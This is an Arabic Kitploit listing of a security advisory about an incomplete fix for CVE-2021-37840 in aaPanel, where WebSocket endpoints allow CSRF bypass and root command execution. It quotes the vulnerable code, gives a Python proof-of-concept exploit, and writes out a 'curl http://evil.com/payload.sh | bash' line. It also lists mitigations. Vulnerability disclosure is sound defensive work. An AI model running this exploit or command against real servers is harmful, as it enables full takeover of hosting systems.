Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
aapanel-ws-bypass — تجاوز CSRF في WebSocket الخاص بـ aaPanel يؤدي إلى RCE (إصلاح غير مكتمل لـ CVE-2021-37840) | Kitploit
أدوات/GitHubGitHub/eonsecurity/aapanel-ws-bypass
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubeonsecurity/aapanel-ws-bypass

aapanel-ws-bypass

تجاوز CSRF في WebSocket الخاص بـ aaPanel يؤدي إلى RCE (إصلاح غير مكتمل لـ CVE-2021-37840)

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

aaPanel: البائعون لا يصلحون الأمور دائمًا بشكل صحيح

إصلاح غير مكتمل لـ CVE-2021-37840 لا يزال يعرّض 3.6 مليون خادم لاستغلال RCE بصلاحيات الجذر، بعد 5 سنوات

اكتشفته: EON Security
CVE: قيد التعيين
CVSS: 8.8 (مرتفع) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
المتأثر: إصدارات aaPanel من 6.8.12 حتى 7.65.0 (كل إصدار صدر منذ إصلاح 2021)
القاعدة المثبّتة: +3.6 مليون خادم


النسخة المختصرة

في عام 2021، تم الكشف عن ثغرة اختطاف WebSocket عبر المواقع (CVE-2021-37840) في aaPanel، وهي لوحة تحكم استضافة مجانية تعمل على أكثر من 3.6 مليون خادم. أضاف البائع فحص رمز CSRF "لإصلاحها".

كان الإصلاح خاطئًا من الناحية المعمارية.

بدلاً من رفض اتصالات WebSocket غير الموثَّقة على مستوى HTTP (إرجاع 401)، يسمح الإصلاح بمرور كل الاتصالات (يرجع 101 Switching Protocols) ولا يفحص المصادقة إلا داخل المعالج — بعد أن يكون WebSocket قد أُنشئ بالفعل. ويمكن تجاوز فحص CSRF الذي أضافوه بعدة طرق.

وجدت EON Security أنه بعد 5 سنوات، لا يزال كل إصدار من aaPanel عرضة لنفس فئة الهجوم.

هذا هو عاشر CVE فقط يُخصص لـ aaPanel في تاريخه الذي يمتد لأكثر من 6 سنوات.



ماذا يعني هذا بلغة بسيطة

إذا كنت تشغّل aaPanel، فإليك ما يمكن أن يفعله المهاجم بك:

السيناريو 1: نقر مسؤول على رابط خبيث

  1. ينقر أحد أعضاء فريقك رابطًا لا ينبغي النقر عليه (بريد إلكتروني، إعلان، رسالة)
  2. تفتح تلك الصفحة اتصال WebSocket إلى لوحة aaPanel الخاصة بك بشكل خفي — إذ يرسل متصفحك ملف تعريف الارتباط الخاص بتسجيل الدخول تلقائيًا لأنك سجّلت الدخول بالفعل
  3. يرى aaPanel جلسة صالحة ويسمح بمرور الاتصال — تمر المصادقة بنجاح
  4. يرسل المهاجم curl http://evil.com/payload.sh | bash — ويُنفَّذ هذا الأمر بصلاحيات الجذر (root) على خادمك
  5. أصبح خادمك مخترقًا بالكامل: سرقة المواقع، مسح قواعد البيانات، ونشر البرمجيات الخبيثة لزوّارك

يلزم نقرة واحدة فقط. نقرة خاطئة واحدة ويصبح كل شيء بحوزة المهاجم.

السيناريو 2: تسرّب مفتاح API

  1. يصل مفتاح API إلى مكان لا ينبغي أن يكون فيه — كمستودع GitHub عام، أو نسخة احتياطية للإعدادات، أو ملاحظات مطوّر
  2. يصادق المهاجم باستخدام ذلك المفتاح ويفتح اتصال WebSocket إلى aaPanel
  3. يرى فحص CSRF أن "هذا طلب مصادق عبر API" ويتخطى الفحص تمامًا — وهذا تجاوز صريح مدمج في الكود
  4. ينفذ المهاجم أوامر بصلاحيات الجذر فورًا
  5. لا نقرات من المسؤول، لا تحذيرات، لا سجلات تبدو غير طبيعية — مجرد اختراق فوري

هذه هي المشكلة الأكبر. حماية CSRF لا تنطبق على الطلبات المصادقة عبر API إطلاقًا. صُممت لفحص الاتصالات القائمة على المتصفح، لكن مسار الكود الخاص بالوصول عبر API يتجاوزها تمامًا.

في كل الحالات، هناك 3.6 مليون خادم متأثر. كل إصدار صدر منذ 2021.

  1. جميع نقاط WebSocket العشرة تقبل الاتصالات قبل التحقق من هويتك — تُرجع HTTP 101 Switching Protocols قبل فحص المصادقة
  2. يحتوي فحص CSRF على شروط تجاوز صريحة — g.api_request=True (الطلبات المصادقة عبر API) وg.is_aes=True (الطلبات المشفرة عبر AES) تتخطيان الفحص تمامًا
  3. تنفّذ نقطة النهاية /sock_shell أوامر عشوائية — subprocess.Popen(cmd + " 2>&1", shell=True)
  4. تقبل نقطة النهاية /webssh بيانات اعتماد SSH مقدمة من المهاجم — الاتصال بأي مضيف SSH
  5. تعمل بصلاحيات الجذر — اختراق كامل للخادم

تفاصيل الثغرة

1. نقاط WebSocket تقبل الاتصالات قبل المصادقة

تعيد جميع نقاط WebSocket HTTP 101 Switching Protocols قبل أي فحص مصادقة. يتم تنفيذ فحص المصادقة comm.local() داخل المعالج، بعد اكتمال ترقية WebSocket بالفعل:

root@kitploit:~
@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Auth check happens AFTER 101
    if comReturn:
        ws.send(str(comReturn))
        return

نقاط النهاية المتأثرة:

  • /webssh (وكيل طرفية SSH)
  • /sock_shell (تنفيذ أوامر مباشر)
  • /ws_panel (إدارة اللوحة)
  • /ws_home (لوحة المعلومات)
  • /ws_project (إدارة المشاريع)
  • /ws_model (إدارة النماذج)
  • /workorder_client (نظام التذاكر)
  • إصدارات /v2/* لكل ما سبق

2. تجاوز فحص رمز CSRF

صُممت الدالة check_csrf_websocket() لمنع اختطاف WebSocket عبر المواقع:

root@kitploit:~
def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Bypass: AES mode skips check
    if g.api_request: return True    # ← Bypass: API requests skip check
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

يوجد شرطان لتجاوز صريح:

  • g.api_request: عندما تكون قيمته True (تُعيَّن أثناء المصادقة بمفتاح API)، يُتخطى فحص CSRF بالكامل. أي جلسة WebSocket مصادقة عبر API تتجاوز هذه الحماية.
  • g.is_aes: عندما تكون قيمته True (تُعيَّن أثناء طلبات API المشفرة عبر AES)، يُتخطى فحص CSRF أيضًا.

مقارنة الرمز (get_csrf_sess_html_token_value()) تُرجع session.get('request_token_head', ""). في الجلسات التي لم تُهيَّأ فيها هذه القيمة بعد، يمرر x-http-token فارغ الفحص.

3. تنفيذ الأوامر عبر sock_shell

تمرر نقطة النهاية /sock_shell نصوصًا يقدمها المهاجم مباشرة إلى subprocess.Popen مع shell=True:

root@kitploit:~
def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Arbitrary command execution
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

يُنفَّذ كل رسالة يتم استلامها عبر WebSocket كأمر شل. تُدفق المخرجات عبر WebSocket. وبما أن aaPanel يعمل بصلاحيات الجذر، فهذا اختراق كامل للنظام.

4. وكيل SSH عبر webssh

تقبل نقطة النهاية /webssh معاملات اتصال SSH مقدمة من المهاجم من أول رسالة WebSocket:

root@kitploit:~
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

إذا كان المضيف هو 127.0.0.1 أو localhost، يتحقق المعالج من قاعدة البيانات بحثًا عن بيانات اعتماد محفوظة، أو يستخدم البيانات المقدمة من المهاجم.


سيناريو الهجوم

مسار الاستغلال الرئيسي هو CSWSH (اختطاف WebSocket عبر المواقع) ويتطلب تفاعل المستخدم:

  1. المسؤول لديه جلسة aaPanel نشطة (مسجّل الدخول)
  2. يزور المسؤول صفحة ويب خبيثة
  3. تفتح الصفحة اتصال WebSocket إلى wss://victim-panel:8888/sock_shell
  4. يتضمن المتصفح تلقائيًا ملف تعريف الارتباط الخاص بالجلسة
  5. يمرر comm.local() المصادقة (ملف تعريف ارتباط جلسة صالح)
  6. يرسل المهاجم {"x-http-token": ""} أو يستغل مسارات تجاوز API/AES
  7. إذا نجح فحص CSRF، يمكن تنفيذ أوامر بصلاحيات الجذر

مسار بديل عبر اختراق مفتاح API:

  1. يحصل المهاجم على مفتاح API صالح لـ aaPanel
  2. تعيّن الطلبات المصادقة عبر API g.api_request = True
  3. يُتخطى فحص CSRF تمامًا لهذه الطلبات
  4. تنفيذ أوامر مباشر عبر WebSocket دون تفاعل المستخدم

نقاط النهاية المتأثرة


إثبات المفهوم (PoC)

root@kitploit:~
import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Attempt CSRF bypass with empty token
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF check active — may need API auth bypass
            return None
        
        # Execute command
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

إثبات المفهوم الكامل: exploit.py


الكشف

استخدم سكربت check.py لاختبار ما إذا كانت نسخة aaPanel تحتوي على نقاط WebSocket قابلة للاستغلال:

root@kitploit:~
python3 check.py https://target:8888

التخفيف

  1. تحقق من المصادقة قبل قبول ترقيات WebSocket — أرجِع HTTP 401 على مستوى المصافحة، وليس بعدها
  2. أزل شروط التجاوز الصريحة — يجب ألا يتخطى g.api_request وg.is_aes حماية CSRF
  3. تحقق من ترويسة Origin عند ترقية WebSocket — ارفض الأصول غير المعروفة
  4. عطّل sock_shell إذا لم يكن ضروريًا — فهو يتيح تنفيذ أوامر مباشرة بصلاحيات الجذر
  5. قيّد وصول الشبكة إلى واجهة إدارة aaPanel

الجدول الزمني

التاريخالحدث

المراجع

  • CVE-2021-37840 — ثغرة aaPanel CSWSH الأصلية
  • CVE-2026-29859 — رفع ملفات عشوائي في aaPanel (مارس 2026)
  • aaPanel GitHub — المستودع الرسمي
  • EON Security — الجهة المكتشفة

الاعتماد

Yadav — EON Security
الموقع الإلكتروني: https://eonsecurity.co.za


الترخيص

هذا المحتوى مرخّص بموجب MIT. إثبات المفهوم مقدَّم لأغراض تعليمية ودفاعية فقط.

تنزيل الأداة
نقطة النهايةالوظيفةالتأثير
/websshوكيل طرفية SSHالاتصال بأي مضيفات SSH باستخدام بيانات اعتماد المهاجم
/sock_shellتنفيذ أوامر مباشرRCE بصلاحيات الجذر عبر أوامر الشل
/ws_panelإدارة اللوحةالوصول إلى بيانات اللوحة
/ws_homeلوحة المعلوماتالوصول إلى بيانات لوحة المعلومات
/ws_projectإدارة المشاريعالوصول إلى بيانات المشاريع
/ws_modelإدارة النماذجالوصول إلى بيانات النماذج
/workorder_clientنظام التذاكرالوصول إلى بيانات التذاكر
/v2/*جميع إصدارات v2نفس ما سبق
2021-08-02
الكشف عن CVE-2021-37840 (aaPanel CSWSH)
2021يضيف البائع check_csrf_websocket() كإصلاح
2026-06-23تكتشف EON Security أن الإصلاح غير مكتمل
قيد الانتظارتعيين CVE
قيد الانتظارالكشف العام